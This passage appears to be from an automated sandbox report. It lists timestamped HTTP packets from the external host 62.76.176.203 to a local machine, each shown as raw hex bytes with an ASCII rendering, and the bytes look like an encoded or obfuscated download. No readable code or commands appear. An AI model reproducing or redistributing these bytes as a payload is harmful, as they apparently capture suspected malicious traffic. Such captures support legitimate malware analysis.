Mrz 4, 2015 14:54:12.015356064 MEZ80103262.76.176.203192.168.1.10Data Raw: 2a 0c 2d 1e 00 31 30 33 3b 37 09 36 14 29 14 2e 41 49 3a 1d 0c 1a 21 0e 3d 14 29 3a 4c 2c 1c 14 2d 48 33 37 13 41 21 0b 1c 49 4c 3f 4b 1c 3c 3f 14 1c 2b 2c 2c 0d 1a 2d 16 22 14 15 14 10 0b 1c 40 2c 1a 3d 14 35 17 0d 13 14 00 2a 4d 10 1a 36 2a 40
Data Ascii: *-103;76).AI:!=):L,-H37A!IL?K<?+,,-"@,=5*M6*@-@+-NIM(4>).?I6!2J ?.4>J7<*!NA34 ?2@M->6!24S26.?A),1=H3S37><?I. .W:I7:9"7>.25/0,!*2W-5.L .H)L=A
186
Mrz 4, 2015 14:54:12.015481949 MEZ80103262.76.176.203192.168.1.10Data Raw: 29 48 32 1d 0e 4a 31 22 1e 39 10 3c 3d 4a 1b 3e 49 1c 10 02 0c 10 1a 01 08 11 3f 48 09 41 1d 02 57 15 12 3a 34 39 1e 57 19 53 4c 4d 3f 17 29 48 0a 37 1a 31 1e 31 0c 17 28 15 28 0a 4a 2d 20 57 19 53 21 57 1c 2e 3c 3b 14 2e 2e 39 48 14 57 3c 08 09
Data Ascii: )H2J1"9<=J>I?HAW:49WSLM?)H711((J- WS!W.<;..9HW<.J,K/9-K<=,92 /W?I9"@6I-/267">HA /@">S!50@S?A".>I?L3OK4"5*=W;9).45.(*@ -SM5 SNK7"+5?A"7;+=HMO!>=AW5L/WOI7
187
Mrz 4, 2015 14:54:12.016102076 MEZ80103262.76.176.203192.168.1.10Data Raw: 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 3e 2f 34
Data Ascii: 555555555555555555555555555555555555555>/4O109@92999999999999995 W-HI,+1K-@+"?A-1K/9 *0 L1<.K>L.L>=H1<4:" 21N<!I I?5/0HK@!;)I<(.-+<(/05-9L
189
Mrz 4, 2015 14:54:12.016109943 MEZ80103262.76.176.203192.168.1.10Data Raw: 13 34 4c 15 00 3a 1b 1c 1e 0d 4c 2c 3d 48 15 4a 15 08 19 00 0e 15 1f 2e 3c 0f 0e 4a 4f 10 1c 30 1d 12 4f 0f 14 21 1c 28 32 3c 3b 2c 3a 35 1b 3d 15 19 2d 0d 0f 41 4b 16 41 12 1d 40 4c 01 2d 15 13 41 21 29 34 1d 1d 34 37 3f 4b 4e 4c 41 2b 1b 1c 32
Data Ascii: 4L:L,=HJ.<JO0O!(2<;,:5=-AKA@L-A!)447?KNLA+256-5A!6A>-I-"A+.(!-(>-A/=AO4=5KS"0+ KNW,92-4*>69</W*771.(9!*.,S**@(<K"AN7N@L 4=J 4JS56N:/7J!6L16I
190
Mrz 4, 2015 14:54:12.016115904 MEZ80103262.76.176.203192.168.1.10Data Raw: 4a 53 21 0c 2f 08 1f 14 2f 2c 4d 3c 32 14 4f 49 57 1d 1e 1e 15 09 31 2e 2d 53 2c 2c 33 16 0b 3a 0c 57 2c 4b 0d 53 34 15 3d 33 22 13 4a 3f 21 2e 2e 21 36 14 2a 32 2c 32 49 1d 1b 3f 4a 08 2d 2e 29 28 30 20 39 10 21 48 4d 21 2b 2c 36 4c 2b 13 19 3f
Data Ascii: JS!//,M<2OIW1.-S,,3:W,KS4=3"J?!..!6*2,2I?J-.)(0 9!HM!+,6L+?@>!"75W9@,6IM<-;1+*6H)4;SIM2:KI/6:3-(O? )5-(O402.1K:/ <O),1.M4N,<I?9;0)0,>2/>00,:6JS:H,6./!M?/6,59>5I 5,
191
Mrz 4, 2015 14:54:12.016733885 MEZ80103262.76.176.203192.168.1.10Data Raw: 15 20 2b 1d 4b 08 2c 34 08 0c 57 20 3b 21 13 2f 41 4d 16 34 00 02 16 2f 3f 20 0b 21 01 02 21 33 08 2a 57 1e 30 1f 0d 0b 2e 1b 28 3e 1f 09 28 53 01 16 1f 4b 3e 0f 16 3c 08 0a 00 36 34 2b 0d 0b 32 31 1e 33 2e 2a 4e 22 31 0e 40 20 2d 09 2d 33 13 1d
Data Ascii: +K,4W ;!/AM4/? !!3*W0.(>(SK><64+213.*N"1@ --3*3WN!*62( I-I7 ",/6=SA<7<.*J*/! =KMW6S/?;,)W6"?@"31*"M<M4-0* -.K,@60:4WW/.!HO,S@!=K0<).)2O";3:2*>2!
193
Mrz 4, 2015 14:54:12.016741991 MEZ80103262.76.176.203192.168.1.10Data Raw: 48 1a 1b 53 1a 4f 0b 31 08 57 2b 29 0a 16 02 14 33 10 32 22 30 15 40 0d 4d 32 09 3c 09 29 0e 15 3d 0a 10 1e 49 35 0a 3c 0a 29 3f 4a 3a 4a 3d 2f 02 09 1c 2c 08 0a 15 3a 3e 4b 2b 2c 41 37 2c 3e 34 31 28 1a 53 09 31 1b 1e 2d 35 19 40 0a 2d 2f 2e 4b
Data Ascii: HSO1W+)32"0@M2<)=I5<)?J:J=/,:>K+,A7,>41(S1-5@-/.K20>7W7K-/W6S?+A/H=::=3/,N047;>M2".:6:.N67H*2*N(M<7<5WL93"=K>61."JM "*<>KM;,,91M@+(( (13
194
Mrz 4, 2015 14:54:12.016746998 MEZ80103262.76.176.203192.168.1.10Data Raw: 3c 1d 1e 0d 3e 53 15 4c 1f 2b 1a 34 4c 1e 41 57 49 0b 11 15 41 10 0a 1b 33 3e 36 4a 2c 2d 53 2d 57 2b 39 21 34 10 19 4f 30 4b 2a 02 2c 3d 3e 57 49 13 15 00 2e 0c 3b 48 40 4e 00 16 4a 0f 53 01 3e 0b 0e 20 32 31 0a 3e 14 00 4e 4c 3f 0b 49 08 3e 19
Data Ascii: <>SL+4LAWIA3>6J,-S-W+9!4O0K*,=>WI.;H@NJS> 21>NL?I>-/9AM5HJ?OSHN9I>)1A-;O3;I3NH.-OS+:)1>K+,)0AHS=2?6J.-,,,@,*4K).9N/4I:6M95/,9WI=.-; W,"JA22337:+,/
195
Mrz 4, 2015 14:54:12.017226934 MEZ80103262.76.176.203192.168.1.10Data Raw: 4e 40 1a 35 1f 13 49 14 10 12 2b 1c 1d 1f 1e 1b 19 0d 1e 02 34 22 2b 2e 2c 1c 0e 13 2f 1b 2a 41 1c 4e 2b 1a 22 29 00 35 1f 13 17 11 37 16 2b 2a 2c 32 1a 35 08 41 1f 1d 4e 0e 2f 2d 4a 11 2d 1a 40 11 57 0c 4d 4c 2b 19 1a 1a 09 2d 00 40 53 31 21 0b
Data Ascii: N@5I+4"+.,/*AN+")57+*,25AN/-J-@WML+-@S1! >1+97?6KJ@76OALL/4=N*K4AN-5A.+@WSN/A/"=K:42/-.KHO+J:76I!MW@2NN>K2S-/S=4*5-2"@(9+I=M+W.W-O*"N* ;"*
197
Mrz 4, 2015 14:54:12.017236948 MEZ80103262.76.176.203192.168.1.10Data Raw: 14 3b 15 31 2e 1a 49 20 1b 36 41 4e 1d 31 49 2f 1f 57 1b 34 16 15 0e 32 36 35 4b 1d 22 36 29 20 4e 3a 14 3c 30 31 4d 13 15 1e 30 3e 16 22 1d 41 22 1e 21 57 32 0c 53 14 20 1c 4f 36 2e 35 4b 2c 1d 28 4e 0d 12 13 08 36 00 40 16 4a 3d 1c 4c 31 0c 17
Data Ascii: ;1.I 6AN1I/W4265K"6) N:<01M0>"A"!W2S O6.5K,(N6@J=L1 5-/0II6"5JL=7HL/46<M7@N!"L!3KM2=M27N<@I77M(6)W4>!>+IJ);:!"4<9/SI?K4=3<H!<*,>@A=A>@J1!!(.
198
Mrz 4, 2015 14:54:12.017241001 MEZ80103262.76.176.203192.168.1.10Data Raw: 1d 3e 1e 3c 31 13 2d 3f 1f 40 21 1d 36 12 1d 3d 15 09 09 28 2b 0c 22 2e 41 17 1a 35 2a 36 2d 0b 33 2f 2c 3e 30 32 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35
Data Ascii: ><1-?@!6=(+".A5*6-3/,>02555555555555555555555555555555555555555555555.S:O=!,92;)99999999999996)W(K">,70(!KI 7K(/>J5@ +5(?I7W0 .)A(I3 +!L+I>"L 72I(
200
Mrz 4, 2015 14:54:12.026411057 MEZ80103262.76.176.203192.168.1.10Data Raw: 0d 32 0f 16 1f 14 1e 17 13 4f 1e 0f 2f 11 4f 2f 39 13 16 34 21 21 21 1c 4a 0b 2f 41 34 33 2c 35 0e 1a 1b 34 09 15 0a 4a 3d 1a 57 2f 20 1a 08 3f 4d 2f 4a 3e 22 4a 09 34 19 39 1a 09 4d 2f 2f 19 2e 00 2b 08 3e 4d 1a 0a 4f 1d 2c 14 41 00 00 20 49 4c
Data Ascii: 2O/O/94!!!J/A43,54J=W/ ?M/J>"J49M//.+>MO,A IL" .*JMNL:)/ .+791>(7MK"@WS2+ !H5<ML1L36 .1@42,2* HI-"7!S2@!1?>4>.,?96*) W2!K->6/?<!N0!A7(JL
200
Mrz 4, 2015 14:54:12.039560080 MEZ80103262.76.176.203192.168.1.10Data Raw: 57 15 1c 33 4e 40 21 34 2d 0c 0e 08 29 1b 16 2a 21 2b 00 11 0f 2c 14 4a 15 3f 32 53 4f 16 2a 29 1a 0d 00 08 2a 3c 0d 1f 39 22 1f 00 4d 14 2e 0f 12 1d 3e 4f 4f 09 53 34 0e 3c 36 0d 09 41 2e 4c 21 1b 4a 2a 36 34 2f 32 4f 1d 33 0c 0b 2e 29 01 2c 30
Data Ascii: W3N@!4-)*!+,J?2SO*)*<9"M.>OOS4<6A.L!J*64/2O3.),0*3O(*"5<NSJ!7**<) )W+)2,<4J-*H.!0+*4-935N@42.(6+.S;A)"@6*;K5SW-4H>MOJN3N/+"3!M(2M12,.O/+;OI5>M*L=I+7,;W/
202
Mrz 4, 2015 14:54:12.039571047 MEZ80103262.76.176.203192.168.1.10Data Raw: 22 3a 0b 1a 2c 4b 3d 41 29 39 3c 3d 36 2f 57 48 30 3e 2f 57 2a 4a 3b 1e 16 2f 57 3d 53 21 2a 0b 53 35 33 2b 13 2f 53 48 1f 3e 20 1f 2e 2f 1f 11 32 4c 3a 08 2d 00 32 2f 29 32 49 22 22 35 29 08 2c 4c 1b 0b 2d 21 0c 4f 22 19 32 32 2d 3b 3a 41 09 09
Data Ascii: ":,K=A)9<=6/WH0>/W*J;/W=S!*S53+/SH> ./2L:-2/)2I""5),L-!O"22-;:AN519)!<"HA235,J!/(K"<6! 7)>0 OH0<* :K,?>L4 @ !/@4?0"S-1 2-232*/""51M,M6>IW?.6>N?O"+"4MJN!!"L,2.0W<=>!:
203
Mrz 4, 2015 14:54:12.039729118 MEZ80103262.76.176.203192.168.1.10Data Raw: 2d 15 36 4b 0d 4a 00 0c 49 00 49 2a 2c 35 22 4b 21 1a 3c 2d 3e 3e 32 4b 2d 2d 13 2c 21 20 17 57 2c 08 22 08 2b 0c 2f 3e 4d 36 3a 0c 2f 28 2a 15 28 1a 53 1a 2b 2b 36 36 2e 14 36 0b 2a 40 36 49 21 20 22 49 36 28 2a 08 2a 53 3f 2f 1c 20 29 00 2c 19
Data Ascii: -6KJII*,5"K!<->>2K--,! W,"+/>M6:/(*(S++66.6*@6I! "I6(**S?/ ),:I6/K>/">3<K+"69,(;O+"6;)".JN>64,",+"+2K@40L"+.622M2K+2.+-?I2W/>J-?N6>>O:2,<J2(M)KNW3L/./??M!;N!! ;"60A(*2
204
Mrz 4, 2015 14:54:12.040424109 MEZ80103262.76.176.203192.168.1.10Data Raw: 1e 36 4f 0a 3e 32 2a 34 00 09 12 1d 09 09 2b 19 57 34 1a 1c 1f 2c 1f 3f 20 30 2b 2b 49 33 20 0a 34 15 36 2d 14 3b 09 53 4b 40 2c 3e 0c 48 2e 1a 3e 1e 1f 1d 41 2a 12 2e 08 41 12 2d 15 36 08 11 02 11 12 2e 17 2b 1e 2f 13 3a 08 16 10 2a 49 32 2f 22
Data Ascii: 6O>2*4+W4,? 0++I3 46-;SK@,>H.>A*.A-6.+/:*I2/",/@,0OJ2NAO6-JA+M4J2K7+52.A407N6=.M/>;5AWJA4<)?7.+>,+," 555555555555555555555555555555
204
Mrz 4, 2015 14:54:12.051460028 MEZ80103262.76.176.203192.168.1.10Data Raw: 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 2e 21 0e 0b 1f 1d 02 15 3f 29 3b 29 13 39 39 39 39 39 39 39 39 39 39 39 39 39 3b 4b 40 12 49 0d 35 0d 3f 0b 1c 2c 29 29 0f 4b 4a 39 3b 53 0f 39 01 2d 4d 2a 19 1e
Data Ascii: 55555555555555.!?);)9999999999999;K@I5?,))KJ9;S9-M*L-<2I@,:S?54I5?<242(" ,((K/9+W >?>H+*4."ISKJ+,9791!M/J/-2+SO6N5<:MHIA3 ? 6+2"1<96+4O5:I>MI,5A
206
Mrz 4, 2015 14:54:12.051477909 MEZ80103262.76.176.203192.168.1.10Data Raw: 36 0c 53 2d 2d 39 36 0b 33 17 3d 4e 36 41 41 10 01 22 11 11 1b 1e 4d 2d 3f 4b 2d 22 01 2f 34 0c 1f 02 2c 57 16 36 41 10 01 32 49 2d 4e 53 49 2b 37 4b 08 32 53 11 21 41 2c 57 40 3c 09 3b 2f 3a 4a 3c 34 3a 01 17 49 4e 2d 2b 34 3a 3e 4a 3d 1e 15 17
Data Ascii: 6S--963=N6AA"M-?K-"/4,W6A2I-NSI+7K2S!A,W@<;/:J<4:IN-+4:>J=@N3(9???6+?;I+-+JHI-3L.26J!NI<3L5H=JN @IHI-SL3/>H )9I==/95=N+:N*A6NA?4-)+H-NH,;.>?/=>N)A/4A->SM+9O
207
Mrz 4, 2015 14:54:12.051615000 MEZ80103262.76.176.203192.168.1.10Data Raw: 09 1e 11 01 0b 2f 48 19 57 2a 1b 4d 4b 17 2b 31 48 4a 4a 09 49 11 37 32 2c 0d 4f 10 21 41 3a 34 4f 12 32 08 20 20 31 30 1b 1a 01 02 2e 57 35 09 37 0a 21 19 31 15 0f 1a 49 4d 41 00 01 33 33 1a 16 16 4d 39 4f 3f 34 1d 2a 17 2b 13 21 14 1b 3e 2c 17
Data Ascii: /HW*MK+1HJJI72,O!A:4O2 10.W57!1IMA33M9O?4*+!>,WM.@".61N3O+<"2KM"4I5<:*+,35M7)N-IMM*W1I-I+"(4?!A36L,K!1:>,(3+2 JH1!W<5-1>@,3I6*A1!!!+@I,!OOJOM"32:,/
208
Mrz 4, 2015 14:54:12.072756052 MEZ80103262.76.176.203192.168.1.10Data Raw: 01 4e 2f 32 13 4f 1f 3d 3e 16 3a 33 12 37 01 0c 28 2f 36 4b 01 2e 2a 34 2d 3f 34 4a 28 19 4d 0e 4f 3c 31 00 16 4d 2e 0a 28 2f 3d 3b 49 16 2c 2d 01 17 4f 4a 28 19 22 28 01 4c 3f 22 36 31 36 1e 28 15 3d 13 21 1b 2f 11 17 4f 00 0b 12 2f 3d 3d 0a 14
Data Ascii: N/2O=>:37(/6K.*4-?4J(MO<1M.(/=;I,-OJ("(L?"616(=!/O/==,/-*72K(?5<J?,)I2M(+/H>6(6W03:->"M5KA66::*I2H6J"(3.),5O70 44"=91!L65"=LM2(4MI30M+W2,W4*J>M! :.7,WK@/+L2
209
Mrz 4, 2015 14:54:12.191020966 MEZ80103262.76.176.203192.168.1.10Data Raw: 3b 2e 0e 20 31 20 49 4d 53 30 2e 40 2b 2e 3e 15 19 28 28 12 1e 2f 02 00 20 2e 0e 2f 39 53 1f 11 14 0d 2b 3a 09 36 1c 16 01 0b 3e 4a 17 53 33 3a 19 4b 1f 2b 1b 21 49 32 0c 33 22 48 00 14 2a 2f 48 2b 2f 11 0e 19 4e 39 35 1c 1d 2a 3b 2c 41 10 20 4e
Data Ascii: ;. 1 IMS0.@+.>((/ ./9S+:6>JS3:K+!I23"H*/H+/N95*;,A N<>"+3->KI/,O*;N,O-/,/O*!J9;+/H?N+N/J:*O>-9"@+."0;-HN=J!J?K2:-4,W?665,+L51O=4JM:=-K5:<K<N)!J=K
210
Mrz 4, 2015 14:54:12.217866898 MEZ80103262.76.176.203192.168.1.10Data Raw: 39 39 39 39 39 39 39 39 39 39 39 41 35 0c 3b 10 0a 10 16 1a 2f 4d 4c 13 4b 2c 4e 53 08 10 17 2e 3f 09 37 2d 0f 08 31 2b 21 4a 10 1a 2d 17 36 1d 1c 49 20 4f 34 00 32 53 1a 00 1e 40 1f 11 1d 22 34 0f 32 4f 31 16 16 17 2f 16 3e 21 2f 3b 0f 2c 3d 4f
Data Ascii: 99999999999A5;/MLK,NS.?7-1+!J-6I O42S@"42O1/>!/;,=O"IMH-I+!NK47:! ,6!<1;S3:O+2O<05JN)>2WI+5-N6L,0":*WMNI2/-@S)?!IOH=.49N+7L>.1.N 7,?@KH:22><)
212
Mrz 4, 2015 14:54:12.217886925 MEZ80103262.76.176.203192.168.1.10Data Raw: 21 0e 0b 1f 1d 02 4c 3b 39 3b 29 13 39 39 39 39 39 39 39 39 39 39 39 39 39 3b 35 15 1e 3b 15 09 29 3d 41 48 1e 14 22 28 1b 20 3a 0a 37 4f 00 2f 0b 4a 4d 0d 2b 2f 30 32 4d 15 40 35 1a 32 4c 0c 2b 4d 14 3f 1b 14 57 13 4d 49 09 3b 2b 2e 12 14 0c 3e
Data Ascii: !L;9;)9999999999999;5;)=AH"( :7O/JM+/02M@52L+M?WMI;+.>J>HW2I/!6M<<S:.5(3@4 N,4WKI4<4*:KM2J1-7/-9NIS6H/K;KSK+"HNS@:2)I+O6I6M9NL0J"AHI?2M>W3/W-I>9-5
213
Mrz 4, 2015 14:54:12.218020916 MEZ80103262.76.176.203192.168.1.10Data Raw: 1c 20 2b 16 31 57 10 00 37 2d 0b 2f 36 3c 2f 34 3c 4f 1d 0e 3f 4b 2d 1c 1b 4e 4b 1b 2d 14 32 4d 15 31 37 2b 1c 2f 20 21 2c 4b 0d 02 3f 4b 4d 12 13 29 4e 0a 48 1a 10 0a 48 0a 02 01 1e 01 40 19 33 2f 2e 3f 37 32 41 12 14 1f 4e 49 0a 53 0c 10 37 19
Data Ascii: +1W7-/6</4<O?K-NK-2M17+/ !,K?KM)NHH@3/.?72ANIS7LH. 4I<<+S!4J!J.55/M.+-> K,+7J:S0S.;I2!LWI/2603<(@0-S-W*NA!N..9./-)*O"53,@1 2-5+M+0/ .)AO,,W
214
Mrz 4, 2015 14:54:12.266438007 MEZ80103262.76.176.203192.168.1.10Data Raw: 1e 4f 4b 4d 17 20 4c 2f 49 11 2a 2d 31 4e 16 4d 0d 39 11 12 20 3b 20 2a 2e 0a 3d 32 49 20 0a 2f 0b 1c 41 33 2c 1a 15 2e 33 57 4d 00 0b 21 1c 08 1e 2e 0a 4a 19 53 15 4d 0b 22 3c 29 33 1d 0a 49 0b 21 12 3c 4b 01 49 32 41 33 1c 19 14 4c 21 13 0b 1a
Data Ascii: OKM L/I*-1NM9 ; *.=2I /A3,.3WM!.JSM"<)3I!<KI2A3L!A3A<AI.=@HAJW +2MN.62H;<HM.,K.I4-1= ":6!!5+,<:6@5,J!IIW0=M"3:9K6:+<OMHN(M+ )N!*J5JJNJ<@6 -*
215
Mrz 4, 2015 14:54:12.498539925 MEZ80103262.76.176.203192.168.1.10Data Raw: 14 2b 02 1e 34 31 14 20 0f 53 2e 01 1c 15 40 17 41 4a 35 37 1f 3f 28 02 1f 02 2b 4b 21 57 34 0b 1d 4f 00 13 29 4f 20 39 2c 0c 32 3e 31 3f 19 11 1b 16 11 15 36 4f 15 3b 37 32 0d 48 0b 40 19 11 21 41 32 35 37 36 01 1b 1c 16 20 0d 2b 3e 14 0d 1f 34
Data Ascii: +41 S.@AJ57?(+K!W4O)O 9,2>1?6O;72H@!A2576 +>4+,+!H*AS?(I:L.J. +K1*A(J?63<W92:)K/JA+!A/ML>HH,<27+I!:M."+.A>M,!I@HJ:7 !I-,714@LN;M H+O76:
215
Mrz 4, 2015 14:54:12.499829054 MEZ80103262.76.176.203192.168.1.10Data Raw: 49 00 48 14 37 4a 2f 3d 01 19 2b 20 14 3b 22 41 41 2d 02 1f 4e 3a 4a 34 2b 1c 4e 16 48 35 1d 34 3c 19 21 31 0c 01 34 22 4d 4d 28 49 11 12 08 37 2d 2a 4b 33 36 16 41 49 37 11 2f 09 3e 20 3f 4e 40 20 35 53 19 19 17 4a 08 1d 4a 30 4b 2f 1c 1c 3c 14
Data Ascii: IH7J/=+ ;"AA-N:J4+NH54<!14"MM(I7-*K36AI7/> ?N@ 5SJJ0K/<;@>4?!N6J75N1;=K//-"HW3/+KN>//5N"J,/5!5 >+;"J5I>7-/>36"A?,+1W?A;SO5,;K"@I(A<2I;I3OA <5+0)"02I
217
Mrz 4, 2015 14:54:12.499855042 MEZ80103262.76.176.203192.168.1.10Data Raw: 10 4e 2d 02 3e 1d 48 30 0d 3a 3a 32 02 10 3a 2c 3e 09 35 10 02 39 0d 33 3d 49 0d 3e 3d 19 29 1e 21 08 0d 30 4b 29 4b 1c 34 08 35 39 2a 0a 28 4b 37 4b 3a 49 2c 2d 1b 37 10 11 30 02 0c 2c 35 53 11 2d 3b 49 13 35 08 36 0c 29 1a 02 0e 2e 32 1d 30 32
Data Ascii: N->H0::2:,>593=I>=)!0K)K459*(K7K:I,-70,5S-;I56).202/(0OHL/2K*,(+HI;I2>?@K-HL6M45,3<S.IHLIL+9KH@!M71/!91N=A0L4K"6=/ 3O(+WSAH!H136N;!6LJLA<@-?I6"O=,6>5+
218
Mrz 4, 2015 14:54:12.499938965 MEZ80103262.76.176.203192.168.1.10Data Raw: 13 2d 3f 49 09 0e 1b 4c 57 4f 0a 14 3e 36 28 0f 4f 57 21 0f 3b 17 21 4d 3e 2c 2e 2e 10 57 21 11 32 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 00 2e 11
Data Ascii: -?ILWO>6(OW!;!M>,..W!255555555555555555555555.S:O(1:92;)99999999999996!L!I!>=IO+3*@5+3,*-W0)/)HKW/0 2(H>=9I=)"WK4>,!I>W7N@56(@2SS!4I*252(I 6!=A2- :MJ(3=!
219
Mrz 4, 2015 14:54:12.517213106 MEZ80103262.76.176.203192.168.1.10Data Raw: 2a 15 3c 2b 1e 4f 32 2c 57 2f 31 30 2f 13 35 29 20 2c 2b 4f 4b 3f 33 2d 1b 0e 16 1a 3e 2b 16 02 3e 11 2a 0e 1c 4e 3b 0f 1c 02 00 1a 2e 16 15 02 2f 3e 1e 4d 41 49 31 2b 4f 08 2a 29 21 2c 21 0c 17 00 4a 2f 3c 0a 1a 57 2f 4d 1e 08 35 4a 09 2f 1b 1e
Data Ascii: *<+O2,W/10/5) ,+OK?3->+>*N;./>MAI1+O*)!,!J/<W/M5J/M2!LM20M9I3I2;1:<>"*<0OSK2 I-I(<<4,>>(=4+-411"A2IS1S"H**9+>A,*.5>I2-L;+3>J0H5J ","I1<++S-72)>
220
Mrz 4, 2015 14:54:12.517232895 MEZ80103262.76.176.203192.168.1.10Data Raw: 2f 3d 1b 3e 19 4d 2b 12 1e 3d 00 4a 2f 3d 13 30 19 4d 2b 32 2a 2f 09 4a 2f 3d 0b 32 19 4d 2b 34 2a 4b 3c 1c 01 14 53 34 19 4d 2b 36 2b 20 3a 1c 53 0a 10 3f 20 2d 01 1d 29 19 11 1d 3f 11 3d 2b 2e 37 40 19 3d 53 4c 3e 4f 2a 2b 2e 01 3a 40 4b 2d 12
Data Ascii: /=>M+=J/=0M+2*/J/=2M+4*K<S4M+6+ :S? -)?=+.7@=SL>O*+.:@K-AHO"4 41@AHI,HH:</.KNKIO>=0 .6>J /=-N+LJ K//M6JL*OH/-K5M;?,!A2!@+A.2=>6<!1MJ;:+.NMKL/S@5*+/:M4"J+*W1/06
222
Mrz 4, 2015 14:54:12.517236948 MEZ80103262.76.176.203192.168.1.10Data Raw: 2e 3c 35 1b 02 53 3b 57 3b 0a 1c 2c 12 2a 0b 3f 2c 4f 0d 3a 39 32 0b 3f 2f 0e 31 1a 3a 49 15 19 3f 34 0f 0d 13 40 49 11 3b 4a 1f 1c 40 14 2d 28 16 35 4f 11 33 35 00 1d 3d 33 34 08 4a 30 3c 19 1e 09 02 1d 4b 40 36 2b 1b 13 0d 2d 2f 35 2b 14 4f 13
Data Ascii: .<5S;W;,*?,O:92?/1:I?4@I;J@-(5O35=34J0<K@6+-/5+O@<;!2;L4;N :A+-*0S/A/2 3+-0.J..IIK?,JM".-(13;,);)4+N43I@(15IMI26W4,./96,/2;.J;,OW?+)=;,J-J):
223
Mrz 4, 2015 14:54:12.528829098 MEZ80103262.76.176.203192.168.1.10Data Raw: 40 21 39 2d 16 12 14 4d 22 08 12 1a 31 29 3a 2e 31 19 00 21 22 2a 14 49 3e 30 37 39 48 16 31 32 49 53 37 12 1b 15 0c 0e 3f 16 33 49 16 0a 1c 16 48 10 0b 4b 41 4f 3e 2b 29 10 10 49 3f 0a 32 48 13 49 4a 4b 11 0c 0f 53 0b 1a 35 1f 30 20 31 0e 16 1e
Data Ascii: @!9-M"1):.1!"*I>079H12IS7?3IHKAO>+)I?2HIJKS50 154@7.ALM-.J+J34?H)-,+.-@92?)003S"I1H >+/4.?<65HM>M2 A2O4=H(>3->A221S;.5./5>210@72KHH
224
Mrz 4, 2015 14:54:12.530865908 MEZ80103262.76.176.203192.168.1.10Data Raw: 14 09 49 3a 3a 10 0b 15 02 37 14 30 3f 36 08 1d 35 41 2d 4a 2e 41 16 37 3f 00 34 1c 48 1b 08 33 2e 3d 4b 21 14 2c 10 1c 0d 49 32 3e 2c 15 57 4b 0f 4c 08 08 17 0c 2d 0d 30 2e 1a 32 3d 4e 33 28 10 1c 57 2d 48 0b 3f 14 2e 22 28 4f 41 40 08 3c 4b 0b
Data Ascii: I::70?65A-J.A7?4H3.=K!,I2>,WKL-0.2=N3(W-H?."(OA@<KI+2HK3!3>0,-)N<9O;I76L9"2>+6-1;2:JM.2?S32/M.K0M@.16 /W("5(OI,2H1"9*:+*":W:7W-?1MJI./J))
225
Mrz 4, 2015 14:54:12.530874968 MEZ80103262.76.176.203192.168.1.10Data Raw: 36 30 28 16 00 1c 4b 3a 4c 02 20 2f 3b 1c 3b 49 10 1d 37 01 01 2c 2f 01 19 4f 3c 2e 00 10 17 33 00 2b 2d 0c 2b 12 1b 34 2f 28 4a 3e 40 16 02 2a 2d 1a 4b 4a 11 10 10 1b 0b 29 3b 2a 0c 19 1e 4b 13 36 4a 2c 49 12 49 29 4f 19 53 2b 02 1e 2b 1c 2d 1d
Data Ascii: 60(K:L /;;I7,/O<.3+-+4/(J>@*-KJ);*K6J,II)OS++->>+>5/L?.,+*;4/-6+7I2=..>:J=I>?!I27?@5+@N)IIJ=!/HJ(=;"J7J5I+9I=J +N,H!S?0HM/-2302A?"J0-7-O/20>::+<=6J?N;-"H
227
Mrz 4, 2015 14:54:12.530988932 MEZ80103262.76.176.203192.168.1.10Data Raw: 0e 3c 49 3a 2b 0e 01 2f 00 13 3f 32 0b 53 2d 4a 2f 00 0f 3b 2a 1d 2d 14 21 2a 22 3a 2c 08 32 4e 10 1d 3d 16 1f 3d 13 02 13 19 12 53 36 10 4d 3f 57 16 41 16 3b 19 20 3c 00 17 0a 1c 2d 4b 19 10 2d 2b 2c 4e 0b 1d 30 28 08 28 2a 01 48 2b 0e 1c 10 2d
Data Ascii: <I:+/?2S-J/;*-!*":,2N==S6M?WA; <-K-+,N0((*H+->M+9K->+> / -2J2+"NN>J=+9"7/.N-*H/J>SA;HJ)6 +"+H7<H.>22 + 32,I-+6??=6!.O.0=,H/H?,=-"O>-O
227
Mrz 4, 2015 14:54:12.533879042 MEZ80103262.76.176.203192.168.1.10Data Raw: 35 00 2e 11 53 01 3a 4f 3d 1f 2c 39 32 3b 29 39 39 39 39 39 39 39 39 39 39 39 39 39 3e 19 10 28 0b 0d 0e 13 2f 49 32 2c 2e 37 12 2a 1b 0c 4e 4f 0a 3e 3a 36 3a 2a 2b 28 22 1f 3b 33 2e 2b 12 2c 3e 10 09 1c 15 37 3a 21 19 20 40 2c 2c 0e 1e 28 3f 3a
Data Ascii: 5.S:O=,92;)9999999999999>(/I2,.7*NO>:6:*+(";3.+,>7:! @,,(?:M!?,M(/>K!W-.W7L!K2!6I9S*W"?2,>6*.M!1J2*2IK3>J0O<1K+7O56JI?4(>O(.,)>.*/2K:4J.K+>>,>4,MK+"II:*/<K!/-,<9)/?6L
229
Mrz 4, 2015 14:54:12.533888102 MEZ80103262.76.176.203192.168.1.10Data Raw: 0e 3e 28 2b 1a 34 4e 2c 37 16 35 48 4f 3e 1e 0d 0b 02 2c 36 36 11 00 4b 20 0e 20 1b 1e 21 10 36 3b 11 08 29 33 19 4b 29 22 31 33 0f 11 08 2a 3a 2f 32 40 30 08 13 34 2f 17 1d 09 49 01 30 4d 3e 09 00 34 09 4f 39 2d 1f 1c 0a 21 41 11 0f 08 1a 02 0a
Data Ascii: >(+4N,75HO>,66K !6;)3K)"13*:/2@04/I0M>4O9-!A5!/O +"65H3O??*O17IW<>!I=61L+W/4J17I6)3N!.-,3?2)K!->.2"!;;J"/SA!/<2,*!/SS1.LOI0+?:3,(2J5-4H.*A,A2)("3S76<?7*
230
